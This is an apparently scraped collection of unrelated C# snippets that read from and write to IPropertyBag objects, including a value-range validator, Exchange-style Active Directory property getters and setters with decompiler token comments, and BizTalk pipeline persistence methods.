|| !TypeManager.GetTypeInfo(typeIndex).IsZeroSized) { data = (byte *)container.m_Manager.GetComponentDataRawRW(container.m_Entity, typeIndex); } var p = new StructProxy { bag = bag, data = data, type = propertyType }; return(p); } }
public override PropertyConstraintViolationError Validate(object value, PropertyDefinition propertyDefinition, IPropertyBag propertyBag) { string text = (string)value; if (string.IsNullOrEmpty(text)) { return(null); } if (text.Length > this.maxLength) { return(new PropertyConstraintViolationError(DataStrings.ConstraintViolationObjectIsBeyondRange(this.maxLength.ToString()), propertyDefinition, value, this)); } int num = 0; if (!int.TryParse(text, out num)) { char[] separator = new char[] { this.pairDelimiter }; char[] separator2 = new char[] { this.extensionValueDelimiter }; string[] array = text.Split(separator); string[] array2 = array; int i = 0; while (i < array2.Length) { string text2 = array2[i]; string[] array3 = text2.Split(separator2); PropertyConstraintViolationError result; if (array3.Length != 2) { result = new PropertyConstraintViolationError(DataStrings.ConstraintViolationMalformedExtensionValuePair(text2), propertyDefinition, value, this); } else if (array3[0].Length == 0) { result = new PropertyConstraintViolationError(DataStrings.ConstraintViolationMalformedExtensionValuePair(text2), propertyDefinition, value, this); } else { int num2 = 0; if (!int.TryParse(array3[1], out num2)) { result = new PropertyConstraintViolationError(DataStrings.ConstraintViolationMalformedExtensionValuePair(text2), propertyDefinition, value, this); } else { if (num2 >= this.minValue && num2 <= this.maxValue) { i++; continue; } result = new PropertyConstraintViolationError(DataStrings.ConstraintViolationValueOutOfRange(this.minValue.ToString(), this.maxValue.ToString(), num2.ToString()), propertyDefinition, value, this); } } return(result); } return(null); } if (num < this.minValue) { return(new PropertyConstraintViolationError(DataStrings.ConstraintViolationObjectIsBelowRange(this.minValue.ToString()), propertyDefinition, value, this)); } if (num > this.maxValue) { return(new PropertyConstraintViolationError(DataStrings.ConstraintViolationObjectIsBeyondRange(this.maxValue.ToString()), propertyDefinition, value, this)); } return(null); }
public override void Serialize(IPropertyBag propertyBag) { base.Serialize(propertyBag); propertyBag["action"] = "executeinscript"; propertyBag["command"] = "get_cameras_info"; }
internal static MultiValuedProperty <SecurityIdentifier> PublicToGroupSidsGetter(IPropertyBag propertyBag) { MultiValuedProperty <ADObjectId> multiValuedProperty = (MultiValuedProperty <ADObjectId>)propertyBag[GroupMailboxSchema.DelegateListLink]; ModernGroupObjectType modernGroupObjectType = (ModernGroupObjectType)propertyBag[GroupMailboxSchema.ModernGroupType]; MultiValuedProperty <SecurityIdentifier> multiValuedProperty2 = new MultiValuedProperty <SecurityIdentifier>(); if (multiValuedProperty != null && multiValuedProperty.Count > 0) { using (MultiValuedProperty <ADObjectId> .Enumerator enumerator = multiValuedProperty.GetEnumerator()) { while (enumerator.MoveNext()) { ADObjectId instance = enumerator.Current; SecurityIdentifier securityIdentifier = ADObjectId.GetSecurityIdentifier(instance); if (securityIdentifier != null) { multiValuedProperty2.Add(securityIdentifier); } } return(multiValuedProperty2); } } if (modernGroupObjectType == ModernGroupObjectType.Public) { SecurityIdentifier item = new SecurityIdentifier(WellKnownSidType.WorldSid, null); multiValuedProperty2.Add(item); } return(multiValuedProperty2); }
protected abstract void Save(IPropertyBag propertyBag);
/// <summary> /// Writes property values into a property bag. /// </summary> /// <param name="propertyBag">Property bag.</param> /// <param name="propertyName">Name of property.</param> /// <param name="value">Value of property.</param> protected static void WritePropertyBag(IPropertyBag propertyBag, string propertyName, object value) { propertyBag.Write(propertyName, ref value); }
public void Load(IPropertyBag propertyBag, int errorLog) { }
// Token: 0x060055FD RID: 22013 RVA: 0x001360BC File Offset: 0x001342BC private static void EditionSetter(object value, IPropertyBag propertyBag) { ServerEditionType edition = (ServerEditionType)value; propertyBag[MailboxTransportServerADSchema.ServerType] = ServerEdition.EncryptServerEdition(edition); }
/// <summary> /// Saves the properties of the pipeline component to a property bag. /// These properties will be editable in the pipeline properties window in BizTalk Administrator. /// </summary> /// <seealso cref="IPersistPropertyBag.Save()"/> /// <param name="propertyBag">The property bag in which the pipeline properties should be stored.</param> /// <param name="clearDirty">Not used.</param> /// <param name="saveAllProperties">Not used.</param> public override void Save(IPropertyBag propertyBag, bool clearDirty, bool saveAllProperties) { WriteString(propertyBag, "Tag", Tag); }
// Token: 0x060055FB RID: 22011 RVA: 0x00136068 File Offset: 0x00134268 private static void AdminDisplayVersionSetter(object value, IPropertyBag propertyBag) { ServerVersion serverVersion = (ServerVersion)value; propertyBag[MailboxTransportServerADSchema.SerialNumber] = serverVersion.ToString(true); }
// Token: 0x06005600 RID: 22016 RVA: 0x00136194 File Offset: 0x00134394 internal static object IsProvisionedServerGetter(IPropertyBag propertyBag) { ServerRole serverRole = (ServerRole)propertyBag[MailboxTransportServerADSchema.CurrentServerRole]; return((serverRole & ServerRole.ProvisionedServer) == ServerRole.ProvisionedServer); }
internal static object IsSmtpConnectorGetter(IPropertyBag propertyBag) { MultiValuedProperty <string> multiValuedProperty = (MultiValuedProperty <string>)propertyBag[ADObjectSchema.ObjectClass]; return(multiValuedProperty.Contains(SmtpSendConnectorConfig.MostDerivedClass)); }
// Token: 0x060055FC RID: 22012 RVA: 0x00136090 File Offset: 0x00134290 private static object EditionGetter(IPropertyBag propertyBag) { string serverTypeInAD = (string)propertyBag[MailboxTransportServerADSchema.ServerType]; return(ServerEdition.DecryptServerEdition(serverTypeInAD)); }
public PropertyBag(IPropertyBag parent = null) { _parent = parent; _properties = new Dictionary <string, object>(); }
/// <summary> /// Construct a <see cref="PropertyBagAdapter"/> from a source /// <see cref="IPropertyBag"/>. /// </summary> public PropertyBagAdapter(IPropertyBag source) { _source = source; }
internal static void ApplyVersionSetter(object value, IPropertyBag propertyBag) { ServerVersion serverVersion = (ServerVersion)value; propertyBag[MonitoringOverrideSchema.ApplyVersionRaw] = serverVersion.ToString(true); }
public static void WriteBool(this IPropertyBag prop, String key, bool value) { object obj = value.ToString(); prop.Write(key, ref obj); }